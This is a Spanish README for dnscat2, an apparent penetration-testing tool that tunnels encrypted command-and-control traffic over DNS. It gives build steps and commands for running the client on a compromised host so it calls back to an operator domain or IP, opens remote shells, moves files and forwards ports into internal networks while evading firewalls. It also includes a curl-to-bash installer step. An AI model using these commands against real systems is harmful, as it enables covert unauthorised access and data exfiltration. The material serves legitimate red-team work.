iagox86/dnscat2Túnel cifrado de comando y control sobre el protocolo DNS. Crea canales C&C sigilosos para pruebas de penetración, con transferencia de archivos, acceso a shell y capacidades de reenvío de puertos a través de consultas DNS.
***** NOTA: ¡La contraseña para las descargas .zip es siempre "password"! *****
¡Bienvenido a dnscat2, un túnel DNS que NO te enfermará y te matará!
Esta herramienta está diseñada para crear un canal de comando y control (C&C) cifrado sobre el protocolo DNS, que es un túnel efectivo para salir de casi cualquier red.
Este archivo README contiene todo lo que necesitas para empezar. Si estás interesado en profundizar en el protocolo, cómo está estructurado el código, planes futuros u otros temas esotéricos, consulta la carpeta doc/.
Esto se publica bajo la licencia BSD. Consulta LICENSE.md para más información.
dnscat2 consta de dos partes: el cliente y el servidor.
El cliente está diseñado para ejecutarse en una máquina comprometida. Está escrito en C y tiene las mínimas dependencias posibles. Debería funcionar en casi cualquier lugar (si encuentras un sistema donde no compile o funcione, por favor abre un ticket, especialmente si puedes ayudarme a obtener acceso a dicho sistema).
Cuando ejecutas el cliente, normalmente especificas un nombre de dominio. Todas las solicitudes se enviarán al servidor DNS local, que luego se redirigen al servidor DNS autoritativo para ese dominio (que, presumiblemente, tú controlas).
Si no tienes un servidor DNS autoritativo, también puedes usar conexiones directas en UDP/53 (o el que elijas). Serán más rápidas y seguirán pareciendo tráfico DNS a un observador casual, pero son mucho más evidentes en un registro de paquetes (todos los dominios tienen el prefijo "dnscat.", a menos que modifiques el código fuente). Este modo será bloqueado con frecuencia por los cortafuegos.
El servidor está diseñado para ejecutarse en un servidor DNS autoritativo. Está en Ruby y depende de varias gemas diferentes. Cuando lo ejecutas, de manera similar al cliente, especificas qué dominio(s) debe escuchar, además de escuchar mensajes enviados directamente a él en UDP/53. Cuando recibe tráfico para uno de esos dominios, intenta establecer una conexión lógica. Si recibe otro tráfico, lo ignora por defecto, pero también puede reenviarlo ascendente.
Las instrucciones detalladas para ambas partes están a continuación.
dnscat2 se esfuerza por ser diferente de otros protocolos de túneles DNS al estar diseñado para un propósito especial: comando y control.
No está diseñado para sacarte de una red de hotel, ni para obtener Internet gratis en un avión. Y no solo tuneliza TCP.
Puede tunelizar cualquier dato, sin protocolo adjunto. Lo que significa que puede subir y descargar archivos, puede ejecutar un shell, y puede hacer esas cosas bien. También puede potencialmente tunelizar TCP, pero eso solo se agregará en el contexto de una herramienta de pentesting (es decir, tunelizar TCP hacia una red), no como una herramienta de túneles de propósito general. Eso ya se ha hecho, no es interesante (para mí).
También está cifrado por defecto. ¡No creo que ningún otro túnel DNS público cifre todo el tráfico!
Aquí hay algunos enlaces importantes:
La teoría detrás de dnscat2 es simple: crea un túnel sobre el protocolo DNS.
¿Por qué? Porque DNS tiene una propiedad increíble: viajará de servidor a servidor hasta que descubra a dónde se supone que debe ir.
Eso significa que para que dnscat saque tráfico de una red segura, simplemente tiene que enviar mensajes a un servidor DNS, que reenviará felizmente las cosas a través de la red DNS hasta que llegue a tu servidor DNS.
Eso, por supuesto, asume que tienes acceso a un servidor DNS autoritativo. dnscat2 también admite conexiones "directas", es decir, ejecutar un cliente dnscat que se conecta directamente a tu dnscat en tu dirección IP y puerto UDP 53 (por defecto). El tráfico sigue pareciendo tráfico DNS y podría pasar por sistemas IDS/IPS más tontos, pero aún es probable que sea detenido por cortafuegos.
Si no tienes claro cómo configurar un servidor DNS autoritativo, es algo que debes configurar con un proveedor de dominios. izhan amablemente escribió uno para ti.
Compilar el cliente debería ser bastante sencillo: todo lo que necesitas para compilar es make/gcc (para Linux) o Cygwin o Microsoft Visual Studio (para Windows). Aquí están los comandos en Linux:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
En Windows, carga client/win32/dnscat2.vcproj en Visual Studio y haz clic en "build". Lo creé y probé en Visual Studio 2008; hasta que consiga una copia legal gratuita de una versión más nueva, probablemente me quedaré con esa. :)
Si la compilación falla, ¡por favor reporta un error en mi página de github! Por favor, envía detalles sobre tu sistema.
Puedes verificar que dnscat2 se ha compilado correctamente ejecutándolo sin banderas; verás que intenta iniciar un túnel DNS con el servidor DNS que tengas configurado (lo que fallará):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
El servidor no se "compila" como tal, pero requiere algunas dependencias de Ruby. Desafortunadamente, las dependencias de Ruby pueden ser molestas de hacer funcionar, ¡así que buena suerte! Si algún experto en Ruby por ahí quiere ayudar a mejorar esta sección, ¡se lo agradecería!
Asumo que tienes Ruby y Gem instalados y funcionando correctamente. Si
no es así, instálalos con apt-get, emerge, rvm o como sea normal
en tu sistema operativo.
Una vez que Ruby/Gem estén listos, ejecuta estos comandos (nota: obviamente
puedes omitir el comando git clone si ya instalaste el cliente y omitir
gem install bundler si ya instalaste bundler):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
Si obtienes un error de permisos con gem install bundler o bundler install, es posible que debas ejecutarlos como root. Si tienes muchos
problemas, desinstala Ruby/Gem e instala todo usando rvm y
sin root.
Si obtienes un error como este:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
Significa que necesitas instalar la versión -dev de Ruby:
$ sudo apt-get install ruby-dev
Encuentro que sudo no siempre es suficiente para que todo funcione bien,
a veces tengo que cambiar a root y trabajar directamente como esa cuenta.
rvmsudo no ayuda, porque rompe ctrl-z.
Puedes verificar que el servidor funciona ejecutándolo sin banderas y viendo si obtienes un prompt de dnscat2>:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
Si no lo ejecutas como root, podrías tener problemas para escuchar en UDP/53 (puedes usar --dnsport para cambiarlo). Verás un mensaje de error si ese es el caso.
Si tienes problemas para ejecutar Ruby como root, esto es lo que hago para ejecutarlo la primera vez:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
Y las siguientes veces:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo debería hacerlo más fácil, pero desafortunadamente dnscat2 no
funciona bien con rvmsudo.
Antes de hablar sobre cómo usar específicamente las herramientas, hablemos de cómo está estructurado dnscat. La herramienta dnscat se divide en dos partes: un cliente y un servidor. Como notaste si pasaste por la compilación, el cliente está escrito en C y el servidor en Ruby.
Generalmente, el servidor se ejecuta primero. Puede ser de larga duración y manejar tantos clientes como desees. Como dije antes, es básicamente un servicio de C&C.
Más tarde, se ejecuta un cliente, que abre una sesión con el servidor (más sobre sesiones abajo). La sesión puede atravesar la jerarquía DNS (recomendado, pero más complejo) o conectarse directamente al servidor. Atravesar la jerarquía DNS requiere un dominio autoritativo, pero evitará la mayoría de los cortafuegos. Conectarse directamente al servidor es más evidente por varias razones.
Por defecto, las conexiones se cifran automáticamente (desactívalo en el
cliente con --no-encryption y en el servidor con --security=open).
Al establecer una nueva conexión, si te preocupan los ataques de
intermediario, tienes dos opciones para verificar el par:
--secret en ambos
lados para validar la conexiónEl servidor, que normalmente se ejecuta en el servidor DNS autoritativo para un dominio particular, está diseñado para ser rico en funciones, interactivo y fácil de usar. Está escrito en Ruby, y gran parte de su diseño está inspirado en Metasploit y Meterpreter.
Si seguiste las instrucciones de compilación anteriores, deberías poder ejecutar el servidor:
$ ruby ./dnscat2.rb skullseclabs.org
Donde "skullseclabs.org" es tu propio dominio. Si no tienes un servidor DNS autoritativo, no es obligatorio; pero esta herramienta funciona mucho, mucho mejor con un servidor autoritativo.
¡Eso debería ser todo lo que necesitas! Aparte de eso, puedes probarlo usando el comando --ping del cliente en cualquier otro sistema, que debería estar disponible si lo has compilado:
$ ./dnscat --ping skullseclabs.org
Si el ping tiene éxito, ¡tu servidor C&C probablemente esté bien! Si ejecutaste el servidor DNS en un puerto diferente, o si necesitas usar un resolvedor DNS personalizado, puedes usar la bandera --dds además de --ping:
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
Ten en cuenta que cuando especificas un argumento --dns, el dominio tiene que ser parte de ese argumento (como domain=xxx). No puedes simplemente pasarlo en la línea de comandos (debido a una limitación de mi análisis de comandos; probablemente mejoraré eso en una versión futura).
Cuando el proceso esté en ejecución, puedes iniciar un nuevo servidor usando básicamente la misma sintaxis:
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
Puedes ejecutar tantos listeners DNS como desees, siempre que estén en diferentes hosts/puertos. Una vez que los datos entran, el resto del proceso ni siquiera sabe de qué listener provienen los datos; de hecho, un cliente puede enviar diferentes paquetes a diferentes puertos, y la sesión continuará como se espera.
El cliente, que normalmente se ejecuta en un sistema después de comprometerlo, está diseñado para ser simple, estable y portátil. Está escrito en C y tiene tan pocas dependencias de bibliotecas como sea posible, y compila/ejecuta de forma nativa en Linux, Windows, Cygwin, FreeBSD y Mac OS X.
Al cliente se le proporciona el nombre de dominio en la línea de comandos, por ejemplo:
./dnscat2 skullseclabs.org
En ese ejemplo, creará una sesión C&C con el servidor dnscat2 que se ejecuta en skullseclabs.org. Si un dominio autoritativo no es una opción, se le puede dar una dirección IP específica para conectarse:
./dnscat2 --dns host=206.220.196.59,port=5353
Suponiendo que hay un servidor dnscat2 ejecutándose en ese host/puerto, creará una sesión allí.
¡Oye, colega; oigo que te gustan los túneles, así que ahora puedes tunelizar un túnel a través de tu túnel!
Actualmente es posible tunelizar una conexión a través de dnscat2, similar a "ssh -L". ¡Otros modos ("ssh -D" y "ssh -R") también llegarán pronto!
Después de que se haya iniciado una sesión (una sesión de comandos), se usa el comando "listen" para abrir un nuevo puerto tunelizado. La sintaxis es aproximadamente la misma que ssh -L:
listen [lhost:]lport rhost:rport
El host local es opcional y por defecto será todas las interfaces (0.0.0.0). El puerto local y el host/puerto remoto son obligatorios.
El servidor dnscat2 escuchará en lport. Todas las conexiones recibidas en ese puerto se reenvían, a través del cliente dnscat2, al host/puerto remoto elegido.
Por ejemplo, esto escuchará en el puerto 4444 (en el servidor) y reenviará el tráfico a google:
listen 4444 www.google.com:80
Luego, si te conectas a http://localhost:4444, saldrá a través del cliente dnscat2 y se conectará a google.com.
Digamos que estás usando esto en una prueba de penetración y quieres reenviar conexiones SSH a través del cliente dnscat2 (ejecutándose en la red corporativa de alguien) a un dispositivo interno. ¡Puedes hacerlo!
listen 127.0.0.1:2222 10.10.10.10:22
Eso solo escuchará en la interfaz de localhost en el servidor dnscat2, y reenviará las conexiones a través del túnel al puerto 22 de 10.10.10.10.
dnscat2 está cifrado por defecto.
No soy criptógrafo, y por necesidad ideé el esquema de cifrado yo mismo. Como resultado, no confiaría en esto al 100%. Creo que hice un trabajo bastante bueno previniendo ataques, pero esto no ha sido auditado profesionalmente. Úsalo con precaución.
Hay mucha información técnica sobre el cifrado en el doc del protocolo. Pero aquí están los conceptos básicos.
Por defecto, tanto el cliente como el servidor admiten e intentarán el cifrado. Cada conexión usa un nuevo par de claves, negociado mediante ECDH. Todo el cifrado se realiza con salsa20, y las firmas usan sha3.
El cifrado se puede desactivar en el cliente pasando --no-encryption en la
línea de comandos, o compilándolo usando make nocrypto.
El servidor rechazará conexiones no cifradas por defecto. Para permitir
conexiones no cifradas, pasa --security=open al servidor, o ejecuta
set security=open en la consola.
Por defecto, no hay protección contra ataques de intermediario. Como se mencionó antes, hay dos formas diferentes de obtener protección MitM: un secreto precompartido o una "cadena de autenticación corta".
Un secreto precompartido se pasa en la línea de comandos tanto al cliente como al servidor, y se usa para autenticar tanto al cliente con el servidor como al servidor con el cliente. Debe ser un valor algo fuerte, algo que no pueda ser adivinado rápidamente por un atacante (solo hay una ventana corta para que el atacante lo adivine, por lo que solo tiene que resistir unos segundos).
El secreto precompartido se pasa mediante el parámetro --secret tanto en el
cliente como en el servidor. El servidor puede cambiarlo en tiempo de ejecución
usando set secret=<new value>, pero eso puede tener resultados inesperados
si hay clientes activos conectados.
Además, el servidor puede exigir que solo se permitan conexiones autenticadas
usando --security=authenticated o set security=authenticated. Eso está
habilitado por defecto si pasas el parámetro --secret.
Si no requieres el esfuerzo adicional de autenticar conexiones, entonces se muestra una "cadena de autenticación corta" tanto en el cliente como en el servidor. La cadena de autenticación corta es una serie de palabras en inglés que se derivan de los valores secretos que ambas partes comparten.
Si el mismo conjunto de palabras en inglés se imprime tanto en el cliente como en el servidor, la conexión puede considerarse razonablemente segura.
¡Eso es todo lo que necesitas saber sobre el cifrado! Consulta el doc del protocolo para más detalles. ¡Me encantaría escuchar cualquier comentario sobre la criptografía también. :)
Y finalmente, si tienes algún problema con la criptografía, ¡por favor
házmelo saber! Por defecto, se creará una ventana llamada "crypto-debug"
al inicio. Si tienes problemas de cifrado, ¡por favor envíame ese registro!
O mejor aún, ejecuta dnscat2 con los argumentos --firehose y
--packet-trace, ¡y envíame TODO! No te preocupes por revelar claves
privadas; solo se usan para esa sesión.
La interfaz de usuario de dnscat2 está compuesta por un montón de ventanas.
La ventana por defecto se llama ventana 'main'. Puedes obtener una lista de
ventanas escribiendo windows (o sessions) en cualquier prompt de comandos:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
Notarás que hay dos ventanas: la ventana 0 es la ventana principal,
y la ventana dns1 es el listener (técnicamente referido como el
'controlador de túnel').
Desde cualquier ventana que acepte comandos (main y sesiones de comandos),
puedes escribir help para obtener una lista de comandos:
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
Para cualquiera de esos comandos, puedes usar -h o --help para obtener detalles:dnscat2> window --help Error: The user requested help
Interact with a window
-i, --i=<s> Interact with the chosen window
-h, --help Show this message
Usaremos el comando window para interactuar con dns1, que es una ventana de estado:
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53531
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53531.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
Las cadenas recibidas y enviadas allí son, si las decodificas, pings.
Puedes cambiar a la ventana 'padre' (en este caso, main) presionando ctrl-z. Si ctrl-z mata el proceso, entonces probablemente tengas que encontrar una mejor manera de ejecutarlo (rvmsudo no funciona, ver arriba).
Cuando un nuevo cliente se conecta y crea una sesión, serás notificado en main (y en ciertas otras ventanas):
New window created: 1
dnscat2>
(Nota que tienes que presionar Enter para recuperar el prompt)
Puedes cambiar a la nueva ventana de la misma manera que cambiamos a la ventana de estado dns1:
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (ubuntu-64) 1>
Las sesiones de comando pueden generar sesiones adicionales; por ejemplo, el comando shell:
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(Nota que a lo largo de este documento estoy limpiando la salida; normalmente tienes que presionar Enter para recuperar el prompt)
Luego, si vuelves a la sesión principal (ctrl-z o suspend), la verás en la lista de ventanas:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
Desafortunadamente, el comando 'windows' en una sesión de comando específica solo muestra las ventanas hijas de esa sesión, y actualmente las nuevas sesiones no se generan como hijas.
Nota que algunas sesiones tienen [*] - eso significa que ha habido actividad desde la última vez que las vimos.
Cuando interactúas con una sesión, la interfaz se verá diferente dependiendo del tipo de sesión. Como viste con el tipo de sesión predeterminado (sesiones de comando), obtienes una interfaz de usuario similar a la sesión de nivel superior (puedes escribir 'help' o ejecutar comandos o lo que sea). Sin embargo, si interactúas con una sesión 'shell', no verás mucho inmediatamente, hasta que escribas un comando:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
Para salir de esto, puedes usar ctrl-z o escribir "exit" (lo que matará la sesión).
Por último, para matar una sesión, se puede usar el comando kill:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
En el pasado, existían varias herramientas de tunelización DNS. Una se llamaba dnscat, escrita por Tadek Pietraszek. El problema es que está escrita en Java, y realmente quería algo que pudiera ejecutarse prácticamente en todas partes.
Esa versión de dnscat estaba basada en una herramienta llamada NSTX, cuya página ya no existe y ni siquiera está en Wayback Machine, así que no sé nada sobre ella.
Más tarde, escribí una implementación en C y la llamé dnscat (sin permiso), ya que la versión anterior en Java no tenía mantenimiento y realmente me gustaba el nombre (jugué con la idea de llamarlo dnscat-ng, pero -ng es un poco verboso para mi gusto). Funcionaba, pero tenía muchos problemas. El cliente y el servidor eran la misma herramienta, como netcat, lo que, debido a que DNS es un modelo cliente/servidor, no funcionó muy bien. El otro problema era que lo había vinculado demasiado al protocolo DNS, por lo que solo podía ejecutarse sobre DNS.
dnscat2 - el sucesor de dnscat - es un intento de corregir algunos de los errores que había cometido. dnscat2 tiene un servidor separado (Ruby) y un cliente (C) y trata todo como un flujo de bytes, y utiliza un controlador, por así decirlo, para convertir ese flujo de bytes en solicitudes dns y viceversa. Por lo tanto, es un protocolo en capas, con DNS siendo una capa inferior.
Como resultado, inventé un protocolo que estoy llamando el protocolo dnscat. Puedes encontrar documentación sobre él en docs/protocol.md. Es un protocolo de red simple de sondeo, donde el cliente sondea ocasionalmente al servidor, y el servidor responde con un mensaje (o un código de error). El protocolo está diseñado para ser resistente a los diversos problemas que tuve con dnscat1 - es decir, puede manejar paquetes desordenados, paquetes perdidos y paquetes duplicados por igual.